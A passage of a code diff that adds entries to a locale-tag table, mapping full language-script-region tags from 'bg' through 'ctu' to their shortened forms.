+ "bg-Cyrl-RO": "bg-RO",
+ "bga-Latn-NG": "bga",
+ "bgb-Latn-ID": "bgb",
+ "bgc-Deva-IN": "bgc",
+ "bgd-Deva-IN": "bgd",
+ "bgf-Latn-CM": "bgf",
+ "bgg-Latn-IN": "bgg",
+ "bgi-Latn-PH": "bgi",
+ "bgj-Latn-CM": "bgj",
+ "bgn-Arab-PK": "bgn",
+ "bgo-Latn-GN": "bgo",
+ "bgp-Arab-PK": "bgp",
+ "bgq-Deva-IN": "bgq",
+ "bgr-Latn-IN": "bgr",
+ "bgs-Latn-PH": "bgs",
+ "bgt-Latn-SB": "bgt",
+ "bgu-Latn-NG": "bgu",
+ "bgv-Latn-ID": "bgv",
+ "bgw-Deva-IN": "bgw",
+ "bgx-Grek-TR": "bgx",
+ "bgy-Latn-ID": "bgy",
+ "bgz-Latn-ID": "bgz",
+ "bha-Deva-IN": "bha",
+ "bhb-Deva-IN": "bhb",
+ "bhc-Latn-ID": "bhc",
+ "bhd-Arab-IN": "bhd-Arab",
+ "bhd-Deva-IN": "bhd",
+ "bhd-Takr-IN": "bhd-Takr",
+ "bhe-Arab-PK": "bhe",
+ "bhf-Latn-PG": "bhf",
+ "bhg-Latn-ZZ": "bhg",
+ "bhh-Cyrl-IL": "bhh",
+ "bhh-Hebr-IL": "bhh-Hebr",
+ "bhh-Latn-IL": "bhh-Latn",
+ "bhi-Deva-IN": "bhi",
+ "bhj-Deva-NP": "bhj",
+ "bhl-Latn-ZZ": "bhl",
+ "bhm-Arab-OM": "bhm",
+ "bhn-Syrc-GE": "bhn",
+ "bho-Deva-IN": "bho",
+ "bho-Deva-MU": "bho-MU",
+ "bho-Kthi-IN": "bho-Kthi",
+ "bhp-Latn-ID": "bhp",
+ "bhq-Latn-ID": "bhq",
+ "bhr-Latn-MG": "bhr",
+ "bhs-Latn-CM": "bhs",
+ "bht-Deva-IN": "bht-Deva",
+ "bht-Latn-IN": "bht-Latn",
+ "bht-Takr-IN": "bht",
+ "bhu-Deva-IN": "bhu",
+ "bhv-Latn-ID": "bhv",
+ "bhw-Latn-ID": "bhw",
+ "bhy-Latn-ZZ": "bhy",
+ "bhz-Latn-ID": "bhz",
+ "bi-Latn-VU": "bi",
+ "bia-Latn-AU": "bia",
+ "bib-Latn-ZZ": "bib",
+ "bid-Latn-TD": "bid",
+ "bie-Latn-PG": "bie",
+ "bif-Latn-GW": "bif",
+ "big-Latn-ZZ": "big",
+ "bik-Latn-PH": "bik",
+ "bil-Latn-NG": "bil",
+ "bim-Latn-ZZ": "bim",
+ "bin-Latn-NG": "bin",
+ "bio-Latn-ZZ": "bio",
+ "bip-Latn-CD": "bip",
+ "biq-Latn-ZZ": "biq",
+ "bir-Latn-PG": "bir",
+ "bit-Latn-PG": "bit",
+ "biu-Latn-IN": "biu",
+ "biv-Latn-GH": "biv",
+ "biw-Latn-CM": "biw",
+ "biy-Deva-IN": "biy",
+ "biz-Latn-CD": "biz",
+ "bja-Latn-CD": "bja",
+ "bjb-Latn-AU": "bjb",
+ "bjc-Latn-PG": "bjc",
+ "bjf-Syrc-IL": "bjf",
+ "bjg-Latn-GW": "bjg",
+ "bjh-Latn-ZZ": "bjh",
+ "bji-Ethi-ZZ": "bji",
+ "bjj-Deva-IN": "bjj",
+ "bjk-Latn-PG": "bjk",
+ "bjl-Latn-PG": "bjl",
+ "bjm-Arab-IQ": "bjm",
+ "bjn-Latn-ID": "bjn",
+ "bjo-Latn-ZZ": "bjo",
+ "bjp-Latn-PG": "bjp",
+ "bjr-Latn-ZZ": "bjr",
+ "bjs-Latn-BB": "bjs",
+ "bjt-Latn-SN": "bjt",
+ "bju-Latn-CM": "bju",
+ "bjv-Latn-TD": "bjv",
+ "bjw-Latn-CI": "bjw",
+ "bjx-Latn-PH": "bjx",
+ "bjy-Latn-AU": "bjy",
+ "bjz-Latn-ZZ": "bjz",
+ "bka-Latn-NG": "bka",
+ "bkc-Latn-ZZ": "bkc",
+ "bkd-Latn-PH": "bkd",
+ "bkf-Latn-CD": "bkf",
+ "bkg-Latn-CF": "bkg",
+ "bkh-Latn-CM": "bkh",
+ "bki-Latn-VU": "bki",
+ "bkj-Latn-CF": "bkj",
+ "bkl-Latn-ID": "bkl",
+ "bkm-Latn-CM": "bkm",
+ "bkn-Latn-ID": "bkn",
+ "bko-Latn-CM": "bko",
+ "bkp-Latn-CD": "bkp",
+ "bkq-Latn-ZZ": "bkq",
+ "bkr-Latn-ID": "bkr",
+ "bks-Latn-PH": "bks",
+ "bkt-Latn-CD": "bkt",
+ "bku-Buhd-PH": "bku-Buhd",
+ "bku-Latn-PH": "bku",
+ "bkv-Latn-ZZ": "bkv",
+ "bkw-Latn-CG": "bkw",
+ "bkx-Latn-TL": "bkx",
+ "bky-Latn-NG": "bky",
+ "bkz-Latn-ID": "bkz",
+ "bla-Latn-CA": "bla",
+ "blb-Latn-SB": "blb",
+ "blc-Latn-CA": "blc",
+ "bld-Latn-ID": "bld",
+ "ble-Latn-GW": "ble",
+ "blf-Latn-ID": "blf",
+ "blh-Latn-LR": "blh",
+ "bli-Latn-CD": "bli",
+ "blj-Latn-ID": "blj",
+ "blk-Mymr-MM": "blk",
+ "blm-Latn-SS": "blm",
+ "bln-Latn-PH": "bln",
+ "blo-Latn-BJ": "blo",
+ "blp-Latn-SB": "blp",
+ "blq-Latn-PG": "blq",
+ "blr-Latn-CN": "blr",
+ "blr-Tale-CN": "blr-Tale",
+ "blr-Thai-TH": "blr-Thai",
+ "bls-Latn-ID": "bls",
+ "blt-Tavt-VN": "blt",
+ "blv-Latn-AO": "blv",
+ "blw-Latn-PH": "blw",
+ "blx-Latn-PH": "blx",
+ "bly-Latn-BJ": "bly",
+ "blz-Latn-ID": "blz",
+ "bm-Latn-ML": "bm",
+ "bma-Latn-NG": "bma",
+ "bmb-Latn-CD": "bmb",
+ "bmc-Latn-PG": "bmc",
+ "bmd-Latn-GN": "bmd",
+ "bme-Latn-CF": "bme",
+ "bmf-Latn-SL": "bmf",
+ "bmg-Latn-CD": "bmg",
+ "bmh-Latn-ZZ": "bmh",
+ "bmi-Latn-TD": "bmi",
+ "bmj-Deva-NP": "bmj",
+ "bmk-Latn-ZZ": "bmk",
+ "bml-Latn-CD": "bml",
+ "bmm-Latn-MG": "bmm",
+ "bmn-Latn-PG": "bmn",
+ "bmo-Latn-CM": "bmo",
+ "bmp-Latn-PG": "bmp",
+ "bmq-Latn-ML": "bmq",
+ "bmr-Latn-CO": "bmr",
+ "bms-Latn-NE": "bms",
+ "bmu-Latn-ZZ": "bmu",
+ "bmv-Latn-CM": "bmv",
+ "bmw-Latn-CG": "bmw",
+ "bmx-Latn-PG": "bmx",
+ "bmz-Latn-PG": "bmz",
+ "bn-Beng-BD": "bn",
+ "bna-Latn-ID": "bna",
+ "bnb-Latn-MY": "bnb",
+ "bnc-Latn-PH": "bnc",
+ "bnd-Latn-ID": "bnd",
+ "bne-Latn-ID": "bne",
+ "bnf-Latn-ID": "bnf",
+ "bng-Latn-ZZ": "bng",
+ "bni-Latn-CD": "bni",
+ "bnj-Latn-PH": "bnj",
+ "bnk-Latn-VU": "bnk",
+ "bnm-Latn-ZZ": "bnm",
+ "bnn-Latn-TW": "bnn",
+ "bno-Latn-PH": "bno",
+ "bnp-Latn-ZZ": "bnp",
+ "bnq-Latn-ID": "bnq",
+ "bnr-Latn-VU": "bnr",
+ "bns-Deva-IN": "bns",
+ "bnu-Latn-ID": "bnu",
+ "bnv-Latn-ID": "bnv",
+ "bnw-Latn-PG": "bnw",
+ "bnx-Latn-CD": "bnx",
+ "bny-Latn-MY": "bny",
+ "bnz-Latn-CM": "bnz",
+ "bo-Marc-CN": "bo-Marc",
+ "bo-Tibt-CN": "bo",
+ "boa-Latn-PE": "boa",
+ "bob-Latn-KE": "bob",
+ "boe-Latn-CM": "boe",
+ "bof-Latn-BF": "bof",
+ "boh-Latn-CD": "boh",
+ "boj-Latn-ZZ": "boj",
+ "bok-Latn-CG": "bok",
+ "bol-Latn-NG": "bol",
+ "bom-Latn-ZZ": "bom",
+ "bon-Latn-ZZ": "bon",
+ "boo-Latn-ML": "boo",
+ "bop-Latn-PG": "bop",
+ "boq-Latn-PG": "boq",
+ "bor-Latn-BR": "bor",
+ "bot-Latn-SS": "bot",
+ "bou-Latn-TZ": "bou",
+ "bov-Latn-GH": "bov",
+ "bow-Latn-PG": "bow",
+ "box-Latn-BF": "box",
+ "boy-Latn-CF": "boy",
+ "boz-Arab-ML": "boz-Arab",
+ "boz-Latn-ML": "boz",
+ "bpa-Latn-VU": "bpa",
+ "bpc-Latn-CM": "bpc",
+ "bpd-Latn-CF": "bpd",
+ "bpe-Latn-PG": "bpe",
+ "bpg-Latn-ID": "bpg",
+ "bph-Cyrl-RU": "bph",
+ "bpi-Latn-PG": "bpi",
+ "bpj-Latn-CD": "bpj",
+ "bpk-Latn-NC": "bpk",
+ "bpl-Latn-AU": "bpl",
+ "bpm-Latn-PG": "bpm",
+ "bpo-Latn-ID": "bpo",
+ "bpp-Latn-ID": "bpp",
+ "bpq-Latn-ID": "bpq",
+ "bpr-Latn-PH": "bpr",
+ "bps-Latn-PH": "bps",
+ "bpt-Latn-AU": "bpt",
+ "bpu-Latn-PG": "bpu",
+ "bpv-Latn-ID": "bpv",
+ "bpw-Latn-PG": "bpw",
+ "bpx-Deva-IN": "bpx",
+ "bpy-Beng-IN": "bpy",
+ "bpz-Latn-ID": "bpz",
+ "bqa-Latn-BJ": "bqa",
+ "bqb-Latn-ID": "bqb",
+ "bqc-Latn-ZZ": "bqc",
+ "bqd-Latn-CM": "bqd",
+ "bqf-Arab-GN": "bqf-Arab",
+ "bqf-Latn-GN": "bqf",
+ "bqg-Latn-TG": "bqg",
+ "bqi-Arab-IR": "bqi",
+ "bqj-Latn-SN": "bqj",
+ "bqk-Latn-CF": "bqk",
+ "bql-Latn-PG": "bql",
+ "bqm-Latn-CM": "bqm",
+ "bqo-Latn-CM": "bqo",
+ "bqp-Latn-ZZ": "bqp",
+ "bqq-Latn-ID": "bqq",
+ "bqr-Latn-ID": "bqr",
+ "bqs-Latn-PG": "bqs",
+ "bqt-Latn-CM": "bqt",
+ "bqu-Latn-CD": "bqu",
+ "bqv-Latn-CI": "bqv",
+ "bqw-Latn-NG": "bqw",
+ "bqx-Latn-NG": "bqx",
+ "bqz-Latn-CM": "bqz",
+ "br-Latn-FR": "br",
+ "bra-Deva-IN": "bra",
+ "brb-Khmr-KH": "brb",
+ "brb-Laoo-LA": "brb-Laoo",
+ "brb-Latn-VN": "brb-Latn",
+ "brc-Latn-GY": "brc",
+ "brd-Deva-NP": "brd",
+ "brf-Latn-CD": "brf",
+ "brg-Latn-BO": "brg",
+ "brh-Arab-PK": "brh",
+ "bri-Latn-CM": "bri",
+ "brj-Latn-VU": "brj",
+ "brk-Arab-SD": "brk",
+ "brl-Latn-BW": "brl",
+ "brm-Latn-CD": "brm",
+ "brn-Latn-CR": "brn",
+ "brp-Latn-ID": "brp",
+ "brq-Latn-PG": "brq",
+ "brr-Latn-SB": "brr",
+ "brs-Latn-ID": "brs",
+ "brt-Latn-NG": "brt",
+ "bru-Laoo-LA": "bru-Laoo",
+ "bru-Latn-VN": "bru",
+ "bru-Thai-LA": "bru-Thai",
+ "brv-Laoo-LA": "brv",
+ "brx-Deva-IN": "brx",
+ "bry-Latn-PG": "bry",
+ "brz-Latn-ZZ": "brz",
+ "bs-Latn-BA": "bs",
+ "bsa-Latn-ID": "bsa",
+ "bsb-Latn-BN": "bsb",
+ "bsc-Latn-SN": "bsc",
+ "bse-Latn-CM": "bse",
+ "bsf-Latn-NG": "bsf",
+ "bsh-Arab-AF": "bsh",
+ "bsi-Latn-CM": "bsi",
+ "bsj-Latn-ZZ": "bsj",
+ "bsk-Arab-PK": "bsk",
+ "bsk-Latn-PK": "bsk-Latn",
+ "bsl-Latn-NG": "bsl",
+ "bsm-Latn-ID": "bsm",
+ "bsn-Latn-CO": "bsn",
+ "bso-Latn-TD": "bso",
+ "bsp-Latn-GN": "bsp",
+ "bsq-Bass-LR": "bsq",
+ "bsr-Latn-NG": "bsr",
+ "bss-Latn-CM": "bss",
+ "bst-Ethi-ZZ": "bst",
+ "bsu-Latn-ID": "bsu",
+ "bsv-Arab-GN": "bsv-Arab",
+ "bsv-Latn-GN": "bsv",
+ "bsw-Ethi-ET": "bsw-Ethi",
+ "bsw-Latn-ET": "bsw",
+ "bsx-Latn-NG": "bsx",
+ "bsy-Latn-MY": "bsy",
+ "bta-Latn-NG": "bta",
+ "btc-Latn-CM": "btc",
+ "btd-Batk-ID": "btd",
+ "bte-Latn-NG": "bte",
+ "btf-Latn-TD": "btf",
+ "btg-Latn-CI": "btg",
+ "bth-Latn-MY": "bth",
+ "bti-Latn-ID": "bti",
+ "btj-Latn-ID": "btj",
+ "btm-Batk-ID": "btm",
+ "btn-Latn-PH": "btn",
+ "bto-Latn-PH": "bto",
+ "btp-Latn-PG": "btp",
+ "btq-Latn-MY": "btq",
+ "btr-Latn-VU": "btr",
+ "bts-Batk-ID": "bts-Batk",
+ "bts-Latn-ID": "bts",
+ "btt-Latn-ZZ": "btt",
+ "btu-Latn-NG": "btu",
+ "btv-Deva-PK": "btv",
+ "btw-Latn-PH": "btw",
+ "btx-Batk-ID": "btx-Batk",
+ "btx-Latn-ID": "btx",
+ "bty-Latn-ID": "bty",
+ "btz-Latn-ID": "btz",
+ "bua-Cyrl-RU": "bua",
+ "bub-Latn-TD": "bub",
+ "buc-Latn-YT": "buc",
+ "bud-Latn-ZZ": "bud",
+ "bue-Latn-CA": "bue",
+ "buf-Latn-CD": "buf",
+ "bug-Bugi-ID": "bug-Bugi",
+ "bug-Latn-ID": "bug",
+ "buh-Latn-CN": "buh",
+ "bui-Latn-CG": "bui",
+ "buj-Latn-NG": "buj",
+ "buk-Latn-ZZ": "buk",
+ "bum-Latn-CM": "bum",
+ "bun-Latn-SL": "bun",
+ "buo-Latn-ZZ": "buo",
+ "bup-Latn-ID": "bup",
+ "buq-Latn-PG": "buq",
+ "bus-Latn-ZZ": "bus",
+ "but-Latn-PG": "but",
+ "buu-Latn-ZZ": "buu",
+ "buv-Latn-PG": "buv",
+ "buw-Latn-GA": "buw",
+ "bux-Latn-NG": "bux",
+ "buy-Latn-SL": "buy",
+ "buz-Latn-NG": "buz",
+ "bva-Latn-TD": "bva",
+ "bvb-Latn-GQ": "bvb",
+ "bvc-Latn-SB": "bvc",
+ "bvd-Latn-SB": "bvd",
+ "bve-Latn-ID": "bve",
+ "bvf-Latn-TD": "bvf",
+ "bvg-Latn-CM": "bvg",
+ "bvh-Latn-NG": "bvh",
+ "bvi-Latn-SS": "bvi",
+ "bvj-Latn-NG": "bvj",
+ "bvk-Latn-ID": "bvk",
+ "bvm-Latn-CM": "bvm",
+ "bvn-Latn-PG": "bvn",
+ "bvo-Latn-TD": "bvo",
+ "bvq-Latn-CF": "bvq",
+ "bvr-Latn-AU": "bvr",
+ "bvt-Latn-ID": "bvt",
+ "bvu-Latn-ID": "bvu",
+ "bvv-Latn-VE": "bvv",
+ "bvw-Latn-NG": "bvw",
+ "bvx-Latn-CG": "bvx",
+ "bvy-Latn-PH": "bvy",
+ "bvz-Latn-ID": "bvz",
+ "bwa-Latn-NC": "bwa",
+ "bwb-Latn-FJ": "bwb",
+ "bwc-Latn-ZM": "bwc",
+ "bwd-Latn-ZZ": "bwd",
+ "bwe-Latn-MM": "bwe-Latn",
+ "bwe-Mymr-MM": "bwe",
+ "bwf-Latn-PG": "bwf",
+ "bwg-Latn-MZ": "bwg",
+ "bwh-Latn-CM": "bwh",
+ "bwi-Latn-VE": "bwi",
+ "bwj-Latn-BF": "bwj",
+ "bwk-Latn-PG": "bwk",
+ "bwl-Latn-CD": "bwl",
+ "bwm-Latn-PG": "bwm",
+ "bwo-Ethi-ET": "bwo-Ethi",
+ "bwo-Latn-ET": "bwo",
+ "bwp-Latn-ID": "bwp",
+ "bwq-Latn-BF": "bwq",
+ "bwr-Latn-ZZ": "bwr",
+ "bws-Latn-CD": "bws",
+ "bwt-Latn-CM": "bwt",
+ "bwu-Latn-GH": "bwu",
+ "bww-Latn-CD": "bww",
+ "bwx-Latn-CN": "bwx",
+ "bwy-Latn-BF": "bwy",
+ "bwz-Latn-CG": "bwz",
+ "bxa-Latn-SB": "bxa",
+ "bxb-Latn-SS": "bxb",
+ "bxc-Latn-GQ": "bxc",
+ "bxf-Latn-PG": "bxf",
+ "bxg-Latn-CD": "bxg",
+ "bxh-Latn-ZZ": "bxh",
+ "bxi-Latn-AU": "bxi",
+ "bxj-Latn-AU": "bxj",
+ "bxl-Latn-BF": "bxl",
+ "bxm-Cyrl-MN": "bxm",
+ "bxm-Latn-MN": "bxm-Latn",
+ "bxm-Mong-MN": "bxm-Mong",
+ "bxn-Latn-AU": "bxn",
+ "bxo-Latn-NG": "bxo",
+ "bxp-Latn-CM": "bxp",
+ "bxq-Latn-NG": "bxq",
+ "bxs-Latn-CM": "bxs",
+ "bxu-Cyrl-CN": "bxu-Cyrl",
+ "bxu-Latn-CN": "bxu-Latn",
+ "bxu-Mong-CN": "bxu",
+ "bxv-Latn-TD": "bxv",
+ "bxw-Latn-ML": "bxw",
+ "bxz-Latn-PG": "bxz",
+ "bya-Latn-PH": "bya",
+ "byb-Latn-CM": "byb",
+ "byc-Latn-NG": "byc",
+ "byd-Latn-ID": "byd",
+ "bye-Latn-ZZ": "bye",
+ "byf-Latn-NG": "byf",
+ "byh-Deva-NP": "byh",
+ "byi-Latn-CD": "byi",
+ "byj-Latn-NG": "byj",
+ "byk-Latn-CN": "byk",
+ "byl-Latn-ID": "byl",
+ "bym-Latn-AU": "bym",
+ "byn-Ethi-ER": "byn",
+ "byp-Latn-NG": "byp",
+ "byr-Latn-ZZ": "byr",
+ "bys-Latn-ZZ": "bys",
+ "byv-Latn-CM": "byv",
+ "byw-Deva-NP": "byw",
+ "byx-Latn-ZZ": "byx",
+ "byz-Latn-PG": "byz",
+ "bza-Latn-ZZ": "bza",
+ "bzb-Latn-ID": "bzb",
+ "bzc-Latn-MG": "bzc",
+ "bzd-Latn-CR": "bzd",
+ "bze-Latn-ML": "bze",
+ "bzf-Latn-ZZ": "bzf",
+ "bzh-Latn-ZZ": "bzh",
+ "bzi-Thai-TH": "bzi",
+ "bzj-Latn-BZ": "bzj",
+ "bzk-Latn-NI": "bzk",
+ "bzl-Latn-ID": "bzl",
+ "bzm-Latn-CD": "bzm",
+ "bzn-Latn-ID": "bzn",
+ "bzo-Latn-CD": "bzo",
+ "bzp-Latn-ID": "bzp",
+ "bzq-Latn-ID": "bzq",
+ "bzr-Latn-AU": "bzr",
+ "bzt-Latn-001": "bzt",
+ "bzu-Latn-ID": "bzu",
+ "bzv-Latn-CM": "bzv",
+ "bzw-Latn-ZZ": "bzw",
+ "bzx-Latn-ML": "bzx",
+ "bzy-Latn-NG": "bzy",
+ "bzz-Latn-NG": "bzz",
+ "ca-Latn-AD": "ca-AD",
+ "ca-Latn-ES": "ca",
+ "caa-Latn-GT": "caa",
+ "cab-Latn-HN": "cab",
+ "cac-Latn-GT": "cac",
+ "cad-Latn-US": "cad",
+ "cae-Latn-SN": "cae",
+ "caf-Cans-CA": "caf-Cans",
+ "caf-Latn-CA": "caf",
+ "cag-Latn-PY": "cag",
+ "cah-Latn-PE": "cah",
+ "caj-Latn-AR": "caj",
+ "cak-Latn-GT": "cak",
+ "cal-Latn-MP": "cal",
+ "cam-Latn-NC": "cam",
+ "can-Latn-ZZ": "can",
+ "cao-Latn-BO": "cao",
+ "cap-Latn-BO": "cap",
+ "caq-Latn-IN": "caq",
+ "car-Latn-VE": "car",
+ "cas-Latn-BO": "cas",
+ "cav-Latn-BO": "cav",
+ "caw-Latn-BO": "caw",
+ "cax-Latn-BO": "cax",
+ "cay-Latn-CA": "cay",
+ "caz-Latn-BO": "caz",
+ "cbb-Latn-CO": "cbb",
+ "cbc-Latn-CO": "cbc",
+ "cbd-Latn-CO": "cbd",
+ "cbg-Latn-CO": "cbg",
+ "cbi-Latn-EC": "cbi",
+ "cbj-Latn-ZZ": "cbj",
+ "cbk-Brai-PH": "cbk-Brai",
+ "cbk-Latn-PH": "cbk",
+ "cbl-Latn-MM": "cbl",
+ "cbn-Thai-TH": "cbn",
+ "cbo-Latn-NG": "cbo",
+ "cbq-Latn-NG": "cbq",
+ "cbr-Latn-PE": "cbr",
+ "cbs-Latn-PE": "cbs",
+ "cbt-Latn-PE": "cbt",
+ "cbu-Latn-PE": "cbu",
+ "cbv-Latn-CO": "cbv",
+ "cbw-Latn-PH": "cbw",
+ "cby-Latn-CO": "cby",
+ "ccc-Latn-PE": "ccc",
+ "ccd-Latn-BR": "ccd",
+ "cce-Latn-MZ": "cce",
+ "ccg-Latn-NG": "ccg",
+ "cch-Latn-NG": "cch",
+ "ccj-Latn-GW": "ccj",
+ "ccl-Latn-TZ": "ccl",
+ "ccm-Latn-MY": "ccm",
+ "cco-Latn-MX": "cco",
+ "ccp-Cakm-BD": "ccp",
+ "ccr-Latn-SV": "ccr",
+ "cde-Telu-IN": "cde",
+ "cdf-Beng-IN": "cdf-Beng",
+ "cdf-Latn-IN": "cdf",
+ "cdh-Deva-IN": "cdh",
+ "cdh-Takr-IN": "cdh-Takr",
+ "cdi-Gujr-IN": "cdi",
+ "cdj-Deva-IN": "cdj",
+ "cdm-Deva-NP": "cdm",
+ "cdm-Latn-NP": "cdm-Latn",
+ "cdo-Hans-CN": "cdo",
+ "cdo-Hant-CN": "cdo-Hant",
+ "cdo-Latn-CN": "cdo-Latn",
+ "cdr-Latn-NG": "cdr",
+ "cdz-Beng-IN": "cdz",
+ "ce-Cyrl-RU": "ce",
+ "cea-Latn-US": "cea",
+ "ceb-Latn-PH": "ceb",
+ "ceg-Latn-PY": "ceg",
+ "cek-Latn-MM": "cek",
+ "cen-Latn-NG": "cen",
+ "cet-Latn-NG": "cet",
+ "cey-Latn-MM": "cey",
+ "cfa-Latn-ZZ": "cfa",
+ "cfd-Latn-NG": "cfd",
+ "cfg-Latn-NG": "cfg",
+ "cfm-Beng-IN": "cfm-Beng",
+ "cfm-Latn-MM": "cfm",
+ "cga-Latn-PG": "cga",
+ "cgc-Latn-PH": "cgc",
+ "cgg-Latn-UG": "cgg",
+ "cgk-Tibt-BT": "cgk",
+ "ch-Latn-GU": "ch",
+ "chb-Latn-CO": "chb",
+ "chd-Latn-MX": "chd",
+ "chf-Latn-MX": "chf",
+ "chg-Arab-TM": "chg",
+ "chh-Latn-US": "chh",
+ "chj-Latn-MX": "chj",
+ "chk-Latn-FM": "chk",
+ "chl-Latn-US": "chl",
+ "chm-Cyrl-RU": "chm",
+ "chn-Dupl-US": "chn-Dupl",
+ "chn-Latn-US": "chn",
+ "cho-Latn-US": "cho",
+ "chp-Latn-CA": "chp",
+ "chq-Latn-MX": "chq",
+ "chr-Cher-US": "chr",
+ "cht-Latn-PE": "cht",
+ "chw-Latn-MZ": "chw",
+ "chx-Deva-NP": "chx",
+ "chy-Latn-US": "chy",
+ "chz-Latn-MX": "chz",
+ "cia-Arab-ID": "cia-Arab",
+ "cia-Hang-ID": "cia-Hang",
+ "cia-Latn-ID": "cia",
+ "cib-Latn-BJ": "cib",
+ "cic-Latn-US": "cic",
+ "cie-Latn-NG": "cie",
+ "cih-Deva-IN": "cih",
+ "cim-Latn-IT": "cim",
+ "cin-Latn-BR": "cin",
+ "cip-Latn-MX": "cip",
+ "cir-Latn-NC": "cir",
+ "ciw-Cans-US": "ciw-Cans",
+ "ciw-Latn-US": "ciw",
+ "ciy-Latn-VE": "ciy",
+ "cja-Arab-KH": "cja",
+ "cje-Latn-VN": "cje",
+ "cjh-Latn-US": "cjh",
+ "cji-Cyrl-RU": "cji",
+ "cjk-Latn-AO": "cjk",
+ "cjm-Cham-VN": "cjm",
+ "cjn-Latn-PG": "cjn",
+ "cjo-Latn-PE": "cjo",
+ "cjp-Latn-CR": "cjp",
+ "cjs-Cyrl-RU": "cjs-Cyrl",
+ "cjs-Latn-RU": "cjs",
+ "cjv-Latn-ZZ": "cjv",
+ "cjy-Hans-CN": "cjy",
+ "cjy-Hant-CN": "cjy-Hant",
+ "ckb-Arab-IQ": "ckb",
+ "ckl-Latn-ZZ": "ckl",
+ "ckm-Glag-HR": "ckm-Glag",
+ "ckm-Latn-HR": "ckm",
+ "ckn-Latn-MM": "ckn",
+ "cko-Latn-ZZ": "cko",
+ "ckq-Latn-TD": "ckq",
+ "ckr-Latn-PG": "ckr",
+ "cks-Latn-NC": "cks",
+ "ckt-Cyrl-RU": "ckt",
+ "cku-Latn-US": "cku",
+ "ckv-Latn-TW": "ckv",
+ "ckx-Latn-CM": "ckx",
+ "cky-Latn-ZZ": "cky",
+ "ckz-Latn-GT": "ckz",
+ "cla-Latn-ZZ": "cla",
+ "clc-Latn-CA": "clc",
+ "cle-Latn-MX": "cle",
+ "clh-Arab-PK": "clh",
+ "cli-Latn-GH": "cli",
+ "clj-Latn-MM": "clj",
+ "clk-Latn-IN": "clk",
+ "clk-Tibt-CN": "clk-Tibt",
+ "cll-Latn-GH": "cll",
+ "clm-Latn-US": "clm",
+ "clo-Latn-MX": "clo",
+ "clt-Latn-MM": "clt",
+ "clu-Latn-PH": "clu",
+ "clw-Cyrl-RU": "clw",
+ "cly-Latn-MX": "cly",
+ "cma-Latn-VN": "cma",
+ "cme-Latn-ZZ": "cme",
+ "cmg-Soyo-MN": "cmg",
+ "cmg-Zanb-MN": "cmg-Zanb",
+ "cmi-Latn-CO": "cmi",
+ "cml-Latn-ID": "cml",
+ "cmo-Khmr-KH": "cmo-Khmr",
+ "cmo-Latn-KH": "cmo-KH",
+ "cmo-Latn-VN": "cmo",
+ "cmr-Latn-MM": "cmr",
+ "cms-Latn-IT": "cms",
+ "cmt-Latn-ZA": "cmt",
+ "cna-Tibt-IN": "cna",
+ "cnb-Latn-MM": "cnb",
+ "cnc-Latn-VN": "cnc",
+ "cng-Latn-CN": "cng",
+ "cnh-Latn-MM": "cnh",
+ "cni-Latn-PE": "cni",
+ "cnk-Latn-MM": "cnk",
+ "cnl-Latn-MX": "cnl",
+ "cnp-Hans-CN": "cnp",
+ "cnp-Hant-CN": "cnp-Hant",
+ "cnq-Latn-CM": "cnq",
+ "cns-Latn-ID": "cns",
+ "cnt-Latn-MX": "cnt",
+ "cnw-Latn-MM": "cnw",
+ "cnx-Latn-GB": "cnx",
+ "co-Latn-FR": "co",
+ "coa-Latn-AU": "coa",
+ "cob-Latn-MX": "cob",
+ "coc-Latn-MX": "coc",
+ "cod-Latn-PE": "cod",
+ "coe-Latn-CO": "coe",
+ "cof-Latn-EC": "cof",
+ "cog-Thai-TH": "cog",
+ "coh-Latn-KE": "coh",
+ "coj-Latn-MX": "coj",
+ "cok-Latn-MX": "cok",
+ "col-Latn-US": "col",
+ "com-Latn-US": "com",
+ "coo-Latn-CA": "coo",
+ "cop-Copt-EG": "cop",
+ "coq-Latn-US": "coq",
+ "cot-Latn-PE": "cot",
+ "cou-Latn-SN": "cou",
+ "cox-Latn-PE": "cox",
+ "coz-Latn-MX": "coz",
+ "cpa-Latn-MX": "cpa",
+ "cpb-Latn-PE": "cpb",
+ "cpc-Latn-PE": "cpc",
+ "cpg-Grek-GR": "cpg",
+ "cpi-Latn-NR": "cpi",
+ "cpn-Latn-GH": "cpn",
+ "cpo-Latn-BF": "cpo",
+ "cps-Latn-PH": "cps",
+ "cpu-Latn-PE": "cpu",
+ "cpx-Latn-CN": "cpx",
+ "cpy-Latn-PE": "cpy",
+ "cqd-Latn-CN": "cqd",
+ "cr-Cans-CA": "cr",
+ "crb-Latn-VC": "crb",
+ "crc-Latn-VU": "crc",
+ "crd-Latn-US": "crd",
+ "crf-Latn-CO": "crf",
+ "crg-Latn-CA": "crg",
+ "crh-Cyrl-UA": "crh",
+ "cri-Latn-ST": "cri",
+ "crj-Cans-CA": "crj",
+ "crj-Latn-CA": "crj-Latn",
+ "crk-Cans-CA": "crk",
+ "crl-Cans-CA": "crl",
+ "crm-Cans-CA": "crm",
+ "crn-Latn-MX": "crn",
+ "cro-Latn-US": "cro",
+ "crq-Latn-AR": "crq",
+ "crs-Latn-SC": "crs",
+ "crt-Latn-AR": "crt",
+ "crv-Latn-IN": "crv",
+ "crw-Latn-VN": "crw",
+ "crx-Cans-CA": "crx-Cans",
+ "crx-Latn-CA": "crx",
+ "cry-Latn-NG": "cry",
+ "crz-Latn-US": "crz",
+ "cs-Latn-CZ": "cs",
+ "csa-Latn-MX": "csa",
+ "csb-Latn-PL": "csb",
+ "csh-Latn-MM": "csh-Latn",
+ "csh-Mymr-MM": "csh",
+ "csj-Latn-MM": "csj",
+ "csk-Latn-SN": "csk",
+ "csm-Latn-US": "csm",
+ "cso-Latn-MX": "cso",
+ "csp-Hans-CN": "csp",
+ "csp-Hant-CN": "csp-Hant",
+ "css-Latn-US": "css",
+ "cst-Latn-US": "cst",
+ "csv-Latn-MM": "csv",
+ "csw-Cans-CA": "csw",
+ "csy-Latn-MM": "csy",
+ "csz-Latn-US": "csz",
+ "cta-Latn-MX": "cta",
+ "ctc-Latn-US": "ctc",
+ "ctd-Pauc-MM": "ctd",
+ "cte-Latn-MX": "cte",
+ "ctg-Arab-BD": "ctg-Arab",
+ "ctg-Beng-BD": "ctg",
+ "ctg-Latn-BD": "ctg-Latn",
+ "cth-Latn-MM": "cth",
+ "ctl-Latn-MX": "ctl",
+ "ctm-Latn-US": "ctm",
+ "ctn-Deva-NP": "ctn",
+ "cto-Latn-CO": "cto",
+ "ctp-Latn-MX": "ctp",
+ "cts-Latn-PH": "cts",
+ "ctt-Taml-IN": "ctt",
+ "ctu-Latn-MX": "ctu",
